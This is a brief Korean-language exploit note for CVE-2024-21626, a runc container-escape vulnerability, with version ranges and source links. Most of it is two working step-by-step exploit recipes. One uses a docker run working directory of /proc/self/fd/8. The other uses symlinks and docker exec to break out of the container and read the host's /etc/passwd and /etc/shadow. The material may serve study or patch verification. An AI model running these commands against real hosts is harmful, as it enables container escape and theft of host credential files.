CVE-2024-21626

익스플로잇 (작업 디렉토리)

docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

• 중요한 것은 -w /proc/self/fd/8를 넣는 것입니다.\
• 컨테이너 내부에서 cat ../../../../../../../../../etc/passwd를 사용하여 호스트 파일시스템에 접근합니다.

익스플로잇 (심볼릭 링크)

1. docker run --name cve-2024-21626 --rm --it debian:bootworm
2. 컨테이너 내부 - ln -sf /proc/self/fd/7/ /foo
3. 컨테이너 내부 - ln -sf /proc/self/fd/8/ /bar
4. docker exec -it -w /bar cve-2024-21626 sleep 120
5. 컨테이너 내부 - ls -F /proc
6. 컨테이너 내부 - cat /proc/9/cmdline (sleep 명령의 PID 찾기)
7. 컨테이너 내부 - cat /proc/9/cwd/../../../../../etc/shadow

취약한 버전

• runC: >= 1.0.0-rc93 및 <= 1.1.11.
• containerd: >= 1.4.7 및 <= 1.6.27, 및 >= 1.7.0 및 <= 1.7.12.
• Docker: 25.0.2에서 수정됨

출처

https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd https://labs.withsecure.com/publications/runc-working-directory-breakout--cve-2024-21626